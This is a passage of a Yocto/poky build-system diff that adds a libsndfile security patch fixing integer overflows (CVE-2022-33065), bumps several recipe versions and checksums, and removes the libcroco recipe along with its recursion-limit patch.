+ #if HAVE_UNISTD_H
+@@ -990,6 +991,7 @@ psf_binheader_readf (SF_PRIVATE *psf, char const *format, ...)
+ double *doubleptr ;
+ char c ;
+ int byte_count = 0, count = 0 ;
++ int read_bytes = 0 ;
+
+ if (! format)
+ return psf_ftell (psf) ;
+@@ -998,6 +1000,7 @@ psf_binheader_readf (SF_PRIVATE *psf, char const *format, ...)
+
+ while ((c = *format++))
+ {
++ read_bytes = 0 ;
+ if (psf->header.indx + 16 >= psf->header.len && psf_bump_header_allocation (psf, 16))
+ break ;
+
+@@ -1014,7 +1017,7 @@ psf_binheader_readf (SF_PRIVATE *psf, char const *format, ...)
+ intptr = va_arg (argptr, unsigned int*) ;
+ *intptr = 0 ;
+ ucptr = (unsigned char*) intptr ;
+- byte_count += header_read (psf, ucptr, sizeof (int)) ;
++ read_bytes = header_read (psf, ucptr, sizeof (int)) ;
+ *intptr = GET_MARKER (ucptr) ;
+ break ;
+
+@@ -1022,7 +1025,7 @@ psf_binheader_readf (SF_PRIVATE *psf, char const *format, ...)
+ intptr = va_arg (argptr, unsigned int*) ;
+ *intptr = 0 ;
+ ucptr = (unsigned char*) intptr ;
+- byte_count += header_read (psf, sixteen_bytes, sizeof (sixteen_bytes)) ;
++ read_bytes = header_read (psf, sixteen_bytes, sizeof (sixteen_bytes)) ;
+ { int k ;
+ intdata = 0 ;
+ for (k = 0 ; k < 16 ; k++)
+@@ -1034,14 +1037,14 @@ psf_binheader_readf (SF_PRIVATE *psf, char const *format, ...)
+ case '1' :
+ charptr = va_arg (argptr, char*) ;
+ *charptr = 0 ;
+- byte_count += header_read (psf, charptr, sizeof (char)) ;
++ read_bytes = header_read (psf, charptr, sizeof (char)) ;
+ break ;
+
+ case '2' : /* 2 byte value with the current endian-ness */
+ shortptr = va_arg (argptr, unsigned short*) ;
+ *shortptr = 0 ;
+ ucptr = (unsigned char*) shortptr ;
+- byte_count += header_read (psf, ucptr, sizeof (short)) ;
++ read_bytes = header_read (psf, ucptr, sizeof (short)) ;
+ if (psf->rwf_endian == SF_ENDIAN_BIG)
+ *shortptr = GET_BE_SHORT (ucptr) ;
+ else
+@@ -1051,7 +1054,7 @@ psf_binheader_readf (SF_PRIVATE *psf, char const *format, ...)
+ case '3' : /* 3 byte value with the current endian-ness */
+ intptr = va_arg (argptr, unsigned int*) ;
+ *intptr = 0 ;
+- byte_count += header_read (psf, sixteen_bytes, 3) ;
++ read_bytes = header_read (psf, sixteen_bytes, 3) ;
+ if (psf->rwf_endian == SF_ENDIAN_BIG)
+ *intptr = GET_BE_3BYTE (sixteen_bytes) ;
+ else
+@@ -1062,7 +1065,7 @@ psf_binheader_readf (SF_PRIVATE *psf, char const *format, ...)
+ intptr = va_arg (argptr, unsigned int*) ;
+ *intptr = 0 ;
+ ucptr = (unsigned char*) intptr ;
+- byte_count += header_read (psf, ucptr, sizeof (int)) ;
++ read_bytes = header_read (psf, ucptr, sizeof (int)) ;
+ if (psf->rwf_endian == SF_ENDIAN_BIG)
+ *intptr = psf_get_be32 (ucptr, 0) ;
+ else
+@@ -1072,7 +1075,7 @@ psf_binheader_readf (SF_PRIVATE *psf, char const *format, ...)
+ case '8' : /* 8 byte value with the current endian-ness */
+ countptr = va_arg (argptr, sf_count_t *) ;
+ *countptr = 0 ;
+- byte_count += header_read (psf, sixteen_bytes, 8) ;
++ read_bytes = header_read (psf, sixteen_bytes, 8) ;
+ if (psf->rwf_endian == SF_ENDIAN_BIG)
+ countdata = psf_get_be64 (sixteen_bytes, 0) ;
+ else
+@@ -1083,7 +1086,7 @@ psf_binheader_readf (SF_PRIVATE *psf, char const *format, ...)
+ case 'f' : /* Float conversion */
+ floatptr = va_arg (argptr, float *) ;
+ *floatptr = 0.0 ;
+- byte_count += header_read (psf, floatptr, sizeof (float)) ;
++ read_bytes = header_read (psf, floatptr, sizeof (float)) ;
+ if (psf->rwf_endian == SF_ENDIAN_BIG)
+ *floatptr = float32_be_read ((unsigned char*) floatptr) ;
+ else
+@@ -1093,7 +1096,7 @@ psf_binheader_readf (SF_PRIVATE *psf, char const *format, ...)
+ case 'd' : /* double conversion */
+ doubleptr = va_arg (argptr, double *) ;
+ *doubleptr = 0.0 ;
+- byte_count += header_read (psf, doubleptr, sizeof (double)) ;
++ read_bytes = header_read (psf, doubleptr, sizeof (double)) ;
+ if (psf->rwf_endian == SF_ENDIAN_BIG)
+ *doubleptr = double64_be_read ((unsigned char*) doubleptr) ;
+ else
+@@ -1117,7 +1120,7 @@ psf_binheader_readf (SF_PRIVATE *psf, char const *format, ...)
+ charptr = va_arg (argptr, char*) ;
+ count = va_arg (argptr, size_t) ;
+ memset (charptr, 0, count) ;
+- byte_count += header_read (psf, charptr, count) ;
++ read_bytes = header_read (psf, charptr, count) ;
+ break ;
+
+ case 'G' :
+@@ -1128,7 +1131,7 @@ psf_binheader_readf (SF_PRIVATE *psf, char const *format, ...)
+ if (psf->header.indx + count >= psf->header.len && psf_bump_header_allocation (psf, count))
+ break ;
+
+- byte_count += header_gets (psf, charptr, count) ;
++ read_bytes = header_gets (psf, charptr, count) ;
+ break ;
+
+ case 'z' :
+@@ -1152,7 +1155,7 @@ psf_binheader_readf (SF_PRIVATE *psf, char const *format, ...)
+ case 'j' : /* Seek to position from current position. */
+ count = va_arg (argptr, size_t) ;
+ header_seek (psf, count, SEEK_CUR) ;
+- byte_count += count ;
++ read_bytes = count ;
+ break ;
+
+ case '!' : /* Clear buffer, forcing re-read. */
+@@ -1164,8 +1167,17 @@ psf_binheader_readf (SF_PRIVATE *psf, char const *format, ...)
+ psf->error = SFE_INTERNAL ;
+ break ;
+ } ;
++
++ if (read_bytes > 0 && byte_count > (INT_MAX - read_bytes))
++ { psf_log_printf (psf, "Header size exceeds INT_MAX. Aborting.", c) ;
++ psf->error = SFE_INTERNAL ;
++ break ;
++ } else
++ { byte_count += read_bytes ;
+ } ;
+
++ } ; /*end while*/
++
+ va_end (argptr) ;
+
+ return byte_count ;
+From a23d563386e7c8d93dcdbe7d5b1d63cad6009116 Mon Sep 17 00:00:00 2001
+From: Alex Stewart <alex.stewart@ni.com>
+Date: Thu, 19 Oct 2023 14:07:19 -0400
+Subject: [PATCH] nms_adpcm: fix int overflow in signal estimate
+
+It is possible (though functionally incorrect) for the signal estimate
+calculation in nms_adpcm_update() to overflow the int value of s_e,
+resulting in undefined behavior.
+
+Since adpcm state signal values are never practically larger than
+16 bits, use smaller numeric sizes throughout the file to avoid the
+overflow.
+
+CVE: CVE-2022-33065
+Fixes: https://github.com/libsndfile/libsndfile/issues/833
+
+Authored-by: Arthur Taylor <art@ified.ca>
+Signed-off-by: Alex Stewart <alex.stewart@ni.com>
+Rebased-by: Alex Stewart <alex.stewart@ni.com>
+---
+ src/nms_adpcm.c | 85 ++++++++++++++++++++++++-------------------------
+ 1 file changed, 42 insertions(+), 43 deletions(-)
+
+diff --git a/src/nms_adpcm.c b/src/nms_adpcm.c
+index 96d6ad26..460ea077 100644
+--- a/src/nms_adpcm.c
++++ b/src/nms_adpcm.c
+@@ -48,36 +48,36 @@
+ /* Variable names from ITU G.726 spec */
+ struct nms_adpcm_state
+ { /* Log of the step size multiplier. Operated on by codewords. */
+- int yl ;
++ short yl ;
+
+ /* Quantizer step size multiplier. Generated from yl. */
+- int y ;
++ short y ;
+
+- /* Coefficents of the pole predictor */
+- int a [2] ;
++ /* Coefficients of the pole predictor */
++ short a [2] ;
+
+- /* Coefficents of the zero predictor */
+- int b [6] ;
++ /* Coefficients of the zero predictor */
++ short b [6] ;
+
+ /* Previous quantized deltas (multiplied by 2^14) */
+- int d_q [7] ;
++ short d_q [7] ;
+
+ /* d_q [x] + s_ez [x], used by the pole-predictor for signs only. */
+- int p [3] ;
++ short p [3] ;
+
+ /* Previous reconstructed signal values. */
+- int s_r [2] ;
++ short s_r [2] ;
+
+ /* Zero predictor components of the signal estimate. */
+- int s_ez ;
++ short s_ez ;
+
+ /* Signal estimate, (including s_ez). */
+- int s_e ;
++ short s_e ;
+
+ /* The most recent codeword (enc:generated, dec:inputted) */
+- int Ik ;
++ char Ik ;
+
+- int parity ;
++ char parity ;
+
+ /*
+ ** Offset into code tables for the bitrate.
+@@ -109,7 +109,7 @@ typedef struct
+ } NMS_ADPCM_PRIVATE ;
+
+ /* Pre-computed exponential interval used in the antilog approximation. */
+-static unsigned int table_expn [] =
++static unsigned short table_expn [] =
+ { 0x4000, 0x4167, 0x42d5, 0x444c, 0x45cb, 0x4752, 0x48e2, 0x4a7a,
+ 0x4c1b, 0x4dc7, 0x4f7a, 0x5138, 0x52ff, 0x54d1, 0x56ac, 0x5892,
+ 0x5a82, 0x5c7e, 0x5e84, 0x6096, 0x62b4, 0x64dd, 0x6712, 0x6954,
+@@ -117,21 +117,21 @@ static unsigned int table_expn [] =
+ } ;
+
+ /* Table mapping codewords to scale factor deltas. */
+-static int table_scale_factor_step [] =
++static short table_scale_factor_step [] =
+ { 0x0, 0x0, 0x0, 0x0, 0x4b0, 0x0, 0x0, 0x0, /* 2-bit */
+ -0x3c, 0x0, 0x90, 0x0, 0x2ee, 0x0, 0x898, 0x0, /* 3-bit */
+ -0x30, 0x12, 0x6b, 0xc8, 0x188, 0x2e0, 0x551, 0x1150, /* 4-bit */
+ } ;
+
+ /* Table mapping codewords to quantized delta interval steps. */
+-static unsigned int table_step [] =
++static unsigned short table_step [] =
+ { 0x73F, 0, 0, 0, 0x1829, 0, 0, 0, /* 2-bit */
+ 0x3EB, 0, 0xC18, 0, 0x1581, 0, 0x226E, 0, /* 3-bit */
+ 0x20C, 0x635, 0xA83, 0xF12, 0x1418, 0x19E3, 0x211A, 0x2BBA, /* 4-bit */
+ } ;
+
+ /* Binary search lookup table for quantizing using table_step. */
+-static int table_step_search [] =
++static short table_step_search [] =
+ { 0, 0x1F6D, 0, -0x1F6D, 0, 0, 0, 0, /* 2-bit */
+ 0x1008, 0x1192, 0, -0x219A, 0x1656, -0x1656, 0, 0, /* 3-bit */
+ 0x872, 0x1277, -0x8E6, -0x232B, 0xD06, -0x17D7, -0x11D3, 0, /* 4-bit */
+@@ -179,23 +179,23 @@ static sf_count_t nms_adpcm_seek (SF_PRIVATE *psf, int mode, sf_count_t offset)
+ ** Maps [1,20480] to [1,1024] in an exponential relationship. This is
+ ** approximately ret = b^exp where b = e^(ln(1024)/ln(20480)) ~= 1.0003385
+ */
+-static inline int
+-nms_adpcm_antilog (int exp)
+-{ int ret ;
++static inline short
++nms_adpcm_antilog (short exp)
++{ int_fast32_t r ;
+
+- ret = 0x1000 ;
+- ret += (((exp & 0x3f) * 0x166b) >> 12) ;
+- ret *= table_expn [(exp & 0x7c0) >> 6] ;
+- ret >>= (26 - (exp >> 11)) ;
++ r = 0x1000 ;
++ r += (((int_fast32_t) (exp & 0x3f) * 0x166b) >> 12) ;
++ r *= table_expn [(exp & 0x7c0) >> 6] ;
++ r >>= (26 - (exp >> 11)) ;
+
+- return ret ;
++ return (short) r ;
+ } /* nms_adpcm_antilog */
+
+ static void
+ nms_adpcm_update (struct nms_adpcm_state *s)
+ { /* Variable names from ITU G.726 spec */
+- int a1ul ;
+- int fa1 ;
++ short a1ul, fa1 ;
++ int_fast32_t se ;
+ int i ;
+
+ /* Decay and Modify the scale factor in the log domain based on the codeword. */
+@@ -222,7 +222,7 @@ nms_adpcm_update (struct nms_adpcm_state *s)
+ else if (fa1 > 256)
+ fa1 = 256 ;
+
+- s->a [0] = (0xff * s->a [0]) >> 8 ;
++ s->a [0] = (s->a [0] * 0xff) >> 8 ;
+ if (s->p [0] != 0 && s->p [1] != 0 && ((s->p [0] ^ s->p [1]) < 0))
+ s->a [0] -= 192 ;
+ else
+@@ -230,7 +230,7 @@ nms_adpcm_update (struct nms_adpcm_state *s)
+ fa1 = -fa1 ;
+ }
+
+- s->a [1] = fa1 + ((0xfe * s->a [1]) >> 8) ;
++ s->a [1] = fa1 + ((s->a [1] * 0xfe) >> 8) ;
+ if (s->p [0] != 0 && s->p [2] != 0 && ((s->p [0] ^ s->p [2]) < 0))
+ s->a [1] -= 128 ;
+ else
+@@ -250,19 +250,18 @@ nms_adpcm_update (struct nms_adpcm_state *s)
+ s->a [0] = a1ul ;
+ } ;
+
+- /* Compute the zero predictor estimate. Rotate past deltas too. */
+- s->s_ez = 0 ;
++ /* Compute the zero predictor estimate and rotate past deltas. */
++ se = 0 ;
+ for (i = 5 ; i >= 0 ; i--)
+- { s->s_ez += s->d_q [i] * s->b [i] ;
++ { se += (int_fast32_t) s->d_q [i] * s->b [i] ;
+ s->d_q [i + 1] = s->d_q [i] ;
+ } ;
++ s->s_ez = se >> 14 ;
+
+- /* Compute the signal estimate. */
+- s->s_e = s->a [0] * s->s_r [0] + s->a [1] * s->s_r [1] + s->s_ez ;
+-
+- /* Return to scale */
+- s->s_ez >>= 14 ;
+- s->s_e >>= 14 ;
++ /* Complete the signal estimate. */
++ se += (int_fast32_t) s->a [0] * s->s_r [0] ;
++ se += (int_fast32_t) s->a [1] * s->s_r [1] ;
++ s->s_e = se >> 14 ;
+
+ /* Rotate members to prepare for next iteration. */
+ s->s_r [1] = s->s_r [0] ;
+@@ -274,7 +273,7 @@ nms_adpcm_update (struct nms_adpcm_state *s)
+ static int16_t
+ nms_adpcm_reconstruct_sample (struct nms_adpcm_state *s, uint8_t I)
+ { /* Variable names from ITU G.726 spec */
+- int dqx ;
++ int_fast32_t dqx ;
+
+ /*
+ ** The ordering of the 12-bit right-shift is a precision loss. It agrees
+@@ -308,17 +307,17 @@ nms_adpcm_codec_init (struct nms_adpcm_state *s, enum nms_enc_type type)
+ /*
+ ** nms_adpcm_encode_sample()
+ **
+-** Encode a linear 16-bit pcm sample into a 2,3, or 4 bit NMS-ADPCM codeword
++** Encode a linear 16-bit pcm sample into a 2, 3, or 4 bit NMS-ADPCM codeword
+ ** using and updating the predictor state.
+ */
+ static uint8_t
+ nms_adpcm_encode_sample (struct nms_adpcm_state *s, int16_t sl)
+ { /* Variable names from ITU G.726 spec */
+- int d ;
++ int_fast32_t d ;
+ uint8_t I ;
+
+ /* Down scale the sample from 16 => ~14 bits. */
+- sl = (sl * 0x1fdf) / 0x7fff ;
++ sl = ((int_fast32_t) sl * 0x1fdf) / 0x7fff ;
+
+ /* Compute estimate, and delta from actual value */
+ nms_adpcm_update (s) ;
+@@ -407,7 +406,7 @@ nms_adpcm_encode_sample (struct nms_adpcm_state *s, int16_t sl)
+ */
+ static int16_t
+ nms_adpcm_decode_sample (struct nms_adpcm_state *s, uint8_t I)
+-{ int sl ;
++{ int_fast32_t sl ;
+
+ nms_adpcm_update (s) ;
+ sl = nms_adpcm_reconstruct_sample (s, I) ;
diff --git a/poky/meta/recipes-multimedia/libsndfile/libsndfile1_1.2.2.bb b/poky/meta/recipes-multimedia/libsndfile/libsndfile1_1.2.2.bb
index 9c1f601aab..a9ee7c3575 100644
--- a/poky/meta/recipes-multimedia/libsndfile/libsndfile1_1.2.2.bb
+++ b/poky/meta/recipes-multimedia/libsndfile/libsndfile1_1.2.2.bb
@@ -9,6 +9,7 @@ LICENSE = "LGPL-2.1-only"
SRC_URI = "${GITHUB_BASE_URI}/download/${PV}/libsndfile-${PV}.tar.xz \
file://noopus.patch \
+ file://cve-2022-33065.patch \
"
GITHUB_BASE_URI = "https://github.com/libsndfile/libsndfile/releases/"
diff --git a/poky/meta/recipes-rt/README b/poky/meta/recipes-rt/README
index 7d7558de49..0144d68b70 100644
--- a/poky/meta/recipes-rt/README
+++ b/poky/meta/recipes-rt/README
@@ -10,4 +10,4 @@ If you are creating a new BSP which should use linux-yocto-rt by default,
use the line above in the $MACHINE.conf in your BSP layer, and specify the
following in a linux-yocto-rt bbappend recipe:
-COMPATIBLE_MACHINE_$MACHINE = $MACHINE
+COMPATIBLE_MACHINE:$MACHINE = $MACHINE
diff --git a/poky/meta/recipes-sato/puzzles/puzzles_git.bb b/poky/meta/recipes-sato/puzzles/puzzles_git.bb
index d7089ef95d..d0a9af7cb6 100644
--- a/poky/meta/recipes-sato/puzzles/puzzles_git.bb
+++ b/poky/meta/recipes-sato/puzzles/puzzles_git.bb
@@ -10,7 +10,7 @@ REQUIRED_DISTRO_FEATURES = "x11"
SRC_URI = "git://git.tartarus.org/simon/puzzles.git;branch=main;protocol=https"
UPSTREAM_CHECK_COMMITS = "1"
-SRCREV = "2d9e414ee316b37143954150016e8f4f18358497"
+SRCREV = "96d65e852cea8a95001fa70e3ec2996d4ea5e2b4"
PE = "2"
PV = "0.0+git"
diff --git a/poky/meta/recipes-support/debianutils/debianutils_5.13.bb b/poky/meta/recipes-support/debianutils/debianutils_5.14.bb
index 915277b42c..deec8d1fe8 100644
--- a/poky/meta/recipes-support/debianutils/debianutils_5.13.bb
+++ b/poky/meta/recipes-support/debianutils/debianutils_5.14.bb
@@ -6,12 +6,12 @@ HOMEPAGE = "https://packages.debian.org/sid/debianutils"
BUGTRACKER = "https://bugs.debian.org/cgi-bin/pkgreport.cgi?pkg=debianutils;dist=unstable"
SECTION = "base"
LICENSE = "GPL-2.0-only & SMAIL_GPL"
-LIC_FILES_CHKSUM = "file://debian/copyright;md5=74765f57ae5dd2b10ffbc39528d98753"
+LIC_FILES_CHKSUM = "file://debian/copyright;md5=4b667f30411d21bc8fd7db85d502a8e9"
SRC_URI = "git://salsa.debian.org/debian/debianutils.git;protocol=https;branch=master \
"
-SRCREV = "d49a78eb264c1b2ad3d0d6de8e1fb776bda9c943"
+SRCREV = "7e63b32ea4126c70a5da958f0106add267810a94"
inherit autotools update-alternatives
@@ -31,6 +31,7 @@ do_install:append() {
mv ${D}${bindir}/$app ${D}${base_bindir}/$app
done
fi
+ mv ${D}${bindir}/which.debianutils ${D}${bindir}/which
}
# Note that we package the update-alternatives name.
@@ -47,9 +48,6 @@ ALTERNATIVE:${PN} = "add-shell installkernel remove-shell savelog which"
ALTERNATIVE_PRIORITY_${PN}-run-parts = "60"
ALTERNATIVE:${PN}-run-parts = "run-parts"
-ALTERNATIVE:${PN}-doc = "which.1"
-ALTERNATIVE_LINK_NAME[which.1] = "${mandir}/man1/which.1"
-
ALTERNATIVE_LINK_NAME[add-shell] = "${sbindir}/add-shell"
ALTERNATIVE_LINK_NAME[installkernel] = "${sbindir}/installkernel"
ALTERNATIVE_LINK_NAME[remove-shell] = "${sbindir}/remove-shell"
diff --git a/poky/meta/recipes-support/diffoscope/diffoscope_249.bb b/poky/meta/recipes-support/diffoscope/diffoscope_251.bb
index b679103694..8862509e05 100644
--- a/poky/meta/recipes-support/diffoscope/diffoscope_249.bb
+++ b/poky/meta/recipes-support/diffoscope/diffoscope_251.bb
@@ -12,7 +12,7 @@ PYPI_PACKAGE = "diffoscope"
inherit pypi setuptools3
-SRC_URI[sha256sum] = "bc4d8cb3198025013784ef7e3fa61b7a642de39e5b790c45d7c29d153306fbdd"
+SRC_URI[sha256sum] = "c9ba2fc24379b2ba4457dc7be6970884cc2ee94c20d44f3889c2a4741e6178d3"
RDEPENDS:${PN} += "\
binutils \
diff --git a/poky/meta/recipes-support/enchant/enchant2_2.6.1.bb b/poky/meta/recipes-support/enchant/enchant2_2.6.2.bb
index a3510a8705..38d3245d20 100644
--- a/poky/meta/recipes-support/enchant/enchant2_2.6.1.bb
+++ b/poky/meta/recipes-support/enchant/enchant2_2.6.2.bb
@@ -12,7 +12,7 @@ DEPENDS = "glib-2.0 groff-native"
inherit autotools pkgconfig github-releases
SRC_URI = "${GITHUB_BASE_URI}/download/v${PV}/enchant-${PV}.tar.gz"
-SRC_URI[sha256sum] = "f24e12469137ae1d03140bb9032a47a5947c36f4d1e2f12b929061005eb15279"
+SRC_URI[sha256sum] = "6686a728e56e760f8dee09a22f0fb53b46ee9dbe7d64cf9e5bb35a658bff7e1d"
GITHUB_BASE_URI = "https://github.com/AbiWord/enchant/releases"
diff --git a/poky/meta/recipes-support/gpgme/gpgme_1.22.0.bb b/poky/meta/recipes-support/gpgme/gpgme_1.23.1.bb
index 84c8fa9f8a..e029b73a8f 100644
--- a/poky/meta/recipes-support/gpgme/gpgme_1.22.0.bb
+++ b/poky/meta/recipes-support/gpgme/gpgme_1.23.1.bb
@@ -24,7 +24,7 @@ SRC_URI = "${GNUPG_MIRROR}/gpgme/${BP}.tar.bz2 \
file://0001-autogen.sh-remove-unknown-in-version.patch \
"
-SRC_URI[sha256sum] = "9551e37081ad3bde81018a0d24f245c3f8206990549598fb31a97a68380a7b71"
+SRC_URI[sha256sum] = "a0c316f7ab7d3bfb01a8753c3370dc906e5b61436021f3b54ff1483b513769bd"
PYTHON_DEPS = "${@bb.utils.contains('LANGUAGES', 'python', 'swig-native', '', d)}"
diff --git a/poky/meta/recipes-support/libcroco/files/CVE-2020-12825.patch b/poky/meta/recipes-support/libcroco/files/CVE-2020-12825.patch
deleted file mode 100644
index 42f92e3607..0000000000
--- a/poky/meta/recipes-support/libcroco/files/CVE-2020-12825.patch
+++ /dev/null
@@ -1,192 +0,0 @@
-From fdf78a4877afa987ba646a8779b513f258e6d04c Mon Sep 17 00:00:00 2001
-From: Michael Catanzaro <mcatanzaro@gnome.org>
-Date: Fri, 31 Jul 2020 15:21:53 -0500
-Subject: [PATCH] libcroco: Limit recursion in block and any productions
-
- (CVE-2020-12825)
-
-If we don't have any limits, we can recurse forever and overflow the
-stack.
-
-Fixes #8
-This is per https://gitlab.gnome.org/Archive/libcroco/-/issues/8
-
-https://gitlab.gnome.org/GNOME/gnome-shell/-/merge_requests/1404
-
-CVE: CVE-2020-12825
-Upstream-Status: Backport [https://gitlab.gnome.org/Archive/libcroco/-/commit/6eb257e5c731c691eb137fca94e916ca73941a5a]
-Comment: No refreshing changes done.
-Signed-off-by: Saloni Jain <Saloni.Jain@kpit.com>
-
----
- src/cr-parser.c | 44 +++++++++++++++++++++++++++++---------------
- 1 file changed, 29 insertions(+), 15 deletions(-)
-
-diff --git a/src/cr-parser.c b/src/cr-parser.c
-index 18c9a01..f4a62e3 100644
---- a/src/cr-parser.c
-+++ b/src/cr-parser.c
-@@ -136,6 +136,8 @@ struct _CRParserPriv {
-
- #define CHARS_TAB_SIZE 12
-
-+#define RECURSIVE_CALLERS_LIMIT 100
-+
- /**
- * IS_NUM:
- *@a_char: the char to test.
-@@ -344,9 +346,11 @@ static enum CRStatus cr_parser_parse_selector_core (CRParser * a_this);
-
- static enum CRStatus cr_parser_parse_declaration_core (CRParser * a_this);
-
--static enum CRStatus cr_parser_parse_any_core (CRParser * a_this);
-+static enum CRStatus cr_parser_parse_any_core (CRParser * a_this,
-+ guint n_calls);
-
--static enum CRStatus cr_parser_parse_block_core (CRParser * a_this);
-+static enum CRStatus cr_parser_parse_block_core (CRParser * a_this,
-+ guint n_calls);
-
- static enum CRStatus cr_parser_parse_value_core (CRParser * a_this);
-
-@@ -784,7 +788,7 @@ cr_parser_parse_atrule_core (CRParser * a_this)
- cr_parser_try_to_skip_spaces_and_comments (a_this);
-
- do {
-- status = cr_parser_parse_any_core (a_this);
-+ status = cr_parser_parse_any_core (a_this, 0);
- } while (status == CR_OK);
-
- status = cr_tknzr_get_next_token (PRIVATE (a_this)->tknzr,
-@@ -795,7 +799,7 @@ cr_parser_parse_atrule_core (CRParser * a_this)
- cr_tknzr_unget_token (PRIVATE (a_this)->tknzr,
- token);
- token = NULL;
-- status = cr_parser_parse_block_core (a_this);
-+ status = cr_parser_parse_block_core (a_this, 0);
- CHECK_PARSING_STATUS (status,
- FALSE);
- goto done;
-@@ -930,11 +934,11 @@ cr_parser_parse_selector_core (CRParser * a_this)
-
- RECORD_INITIAL_POS (a_this, &init_pos);
-
-- status = cr_parser_parse_any_core (a_this);
-+ status = cr_parser_parse_any_core (a_this, 0);
- CHECK_PARSING_STATUS (status, FALSE);
-
- do {
-- status = cr_parser_parse_any_core (a_this);
-+ status = cr_parser_parse_any_core (a_this, 0);
-
- } while (status == CR_OK);
-
-@@ -956,10 +960,12 @@ cr_parser_parse_selector_core (CRParser * a_this)
- *in chapter 4.1 of the css2 spec.
- *block ::= '{' S* [ any | block | ATKEYWORD S* | ';' ]* '}' S*;
- *@param a_this the current instance of #CRParser.
-+ *@param n_calls used to limit recursion depth
- *FIXME: code this function.
- */
- static enum CRStatus
--cr_parser_parse_block_core (CRParser * a_this)
-+cr_parser_parse_block_core (CRParser * a_this,
-+ guint n_calls)
- {
- CRToken *token = NULL;
- CRInputPos init_pos;
-@@ -967,6 +973,9 @@ cr_parser_parse_block_core (CRParser * a_this)
-
- g_return_val_if_fail (a_this && PRIVATE (a_this), CR_BAD_PARAM_ERROR);
-
-+ if (n_calls > RECURSIVE_CALLERS_LIMIT)
-+ return CR_ERROR;
-+
- RECORD_INITIAL_POS (a_this, &init_pos);
-
- status = cr_tknzr_get_next_token (PRIVATE (a_this)->tknzr, &token);
-@@ -996,13 +1005,13 @@ cr_parser_parse_block_core (CRParser * a_this)
- } else if (token->type == CBO_TK) {
- cr_tknzr_unget_token (PRIVATE (a_this)->tknzr, token);
- token = NULL;
-- status = cr_parser_parse_block_core (a_this);
-+ status = cr_parser_parse_block_core (a_this, n_calls + 1);
- CHECK_PARSING_STATUS (status, FALSE);
- goto parse_block_content;
- } else {
- cr_tknzr_unget_token (PRIVATE (a_this)->tknzr, token);
- token = NULL;
-- status = cr_parser_parse_any_core (a_this);
-+ status = cr_parser_parse_any_core (a_this, n_calls + 1);
- CHECK_PARSING_STATUS (status, FALSE);
- goto parse_block_content;
- }
-@@ -1109,7 +1118,7 @@ cr_parser_parse_value_core (CRParser * a_this)
- status = cr_tknzr_unget_token (PRIVATE (a_this)->tknzr,
- token);
- token = NULL;
-- status = cr_parser_parse_block_core (a_this);
-+ status = cr_parser_parse_block_core (a_this, 0);
- CHECK_PARSING_STATUS (status, FALSE);
- ref++;
- goto continue_parsing;
-@@ -1123,7 +1132,7 @@ cr_parser_parse_value_core (CRParser * a_this)
- status = cr_tknzr_unget_token (PRIVATE (a_this)->tknzr,
- token);
- token = NULL;
-- status = cr_parser_parse_any_core (a_this);
-+ status = cr_parser_parse_any_core (a_this, 0);
- if (status == CR_OK) {
- ref++;
- goto continue_parsing;
-@@ -1162,10 +1171,12 @@ cr_parser_parse_value_core (CRParser * a_this)
- * | FUNCTION | DASHMATCH | '(' any* ')' | '[' any* ']' ] S*;
- *
- *@param a_this the current instance of #CRParser.
-+ *@param n_calls used to limit recursion depth
- *@return CR_OK upon successfull completion, an error code otherwise.
- */
- static enum CRStatus
--cr_parser_parse_any_core (CRParser * a_this)
-+cr_parser_parse_any_core (CRParser * a_this,
-+ guint n_calls)
- {
- CRToken *token1 = NULL,
- *token2 = NULL;
-@@ -1174,6 +1185,9 @@ cr_parser_parse_any_core (CRParser * a_this)
-
- g_return_val_if_fail (a_this, CR_BAD_PARAM_ERROR);
-
-+ if (n_calls > RECURSIVE_CALLERS_LIMIT)
-+ return CR_ERROR;
-+
- RECORD_INITIAL_POS (a_this, &init_pos);
-
- status = cr_tknzr_get_next_token (PRIVATE (a_this)->tknzr, &token1);
-@@ -1212,7 +1226,7 @@ cr_parser_parse_any_core (CRParser * a_this)
- *We consider parameter as being an "any*" production.
- */
- do {
-- status = cr_parser_parse_any_core (a_this);
-+ status = cr_parser_parse_any_core (a_this, n_calls + 1);
- } while (status == CR_OK);
-
- ENSURE_PARSING_COND (status == CR_PARSING_ERROR);
-@@ -1237,7 +1251,7 @@ cr_parser_parse_any_core (CRParser * a_this)
- }
-
- do {
-- status = cr_parser_parse_any_core (a_this);
-+ status = cr_parser_parse_any_core (a_this, n_calls + 1);
- } while (status == CR_OK);
-
- ENSURE_PARSING_COND (status == CR_PARSING_ERROR);
-@@ -1265,7 +1279,7 @@ cr_parser_parse_any_core (CRParser * a_this)
- }
-
- do {
-- status = cr_parser_parse_any_core (a_this);
-+ status = cr_parser_parse_any_core (a_this, n_calls + 1);
- } while (status == CR_OK);
-
- ENSURE_PARSING_COND (status == CR_PARSING_ERROR);
diff --git a/poky/meta/recipes-support/libcroco/libcroco_0.6.13.bb b/poky/meta/recipes-support/libcroco/libcroco_0.6.13.bb
deleted file mode 100644
index 419c962657..0000000000
--- a/poky/meta/recipes-support/libcroco/libcroco_0.6.13.bb
+++ /dev/null
@@ -1,26 +0,0 @@
-SUMMARY = "Cascading Style Sheet (CSS) parsing and manipulation toolkit"
-DESCRIPTION = "The Libcroco project is an effort to build a generic \
-Cascading Style Sheet (CSS) parsing and manipulation toolkit that can be \
-used by GNOME applications in need of CSS support."
-HOMEPAGE = "http://www.gnome.org/"
-BUGTRACKER = "https://bugzilla.gnome.org/"
-
-LICENSE = "LGPL-2.0-only & LGPL-2.1-only"
-LIC_FILES_CHKSUM = "file://COPYING;md5=55ca817ccb7d5b5b66355690e9abc605 \
- file://src/cr-rgb.c;endline=22;md5=31d5f0944d556c8589d04ea6055fcc66 \
- file://tests/cr-test-utils.c;endline=21;md5=2382c27934cae1d3792fcb17a6142c4e"
-
-SECTION = "x11/utils"
-DEPENDS = "glib-2.0 libxml2 zlib"
-BBCLASSEXTEND = "native nativesdk"
-EXTRA_OECONF += "--enable-Bsymbolic=auto"
-
-BINCONFIG = "${bindir}/croco-0.6-config"
-
-inherit gnomebase gtk-doc binconfig-disabled
-
-SRC_URI[archive.md5sum] = "c80c5a8385011a0260dce6bd0da93dce"
-SRC_URI[archive.sha256sum] = "767ec234ae7aa684695b3a735548224888132e063f92db585759b422570621d4"
-
-SRC_URI +="file://CVE-2020-12825.patch \
-"
diff --git a/poky/meta/recipes-support/libical/libical_3.0.16.bb b/poky/meta/recipes-support/libical/libical_3.0.17.bb
index 61599b20dd..b91912b048 100644
--- a/poky/meta/recipes-support/libical/libical_3.0.16.bb
+++ b/poky/meta/recipes-support/libical/libical_3.0.17.bb
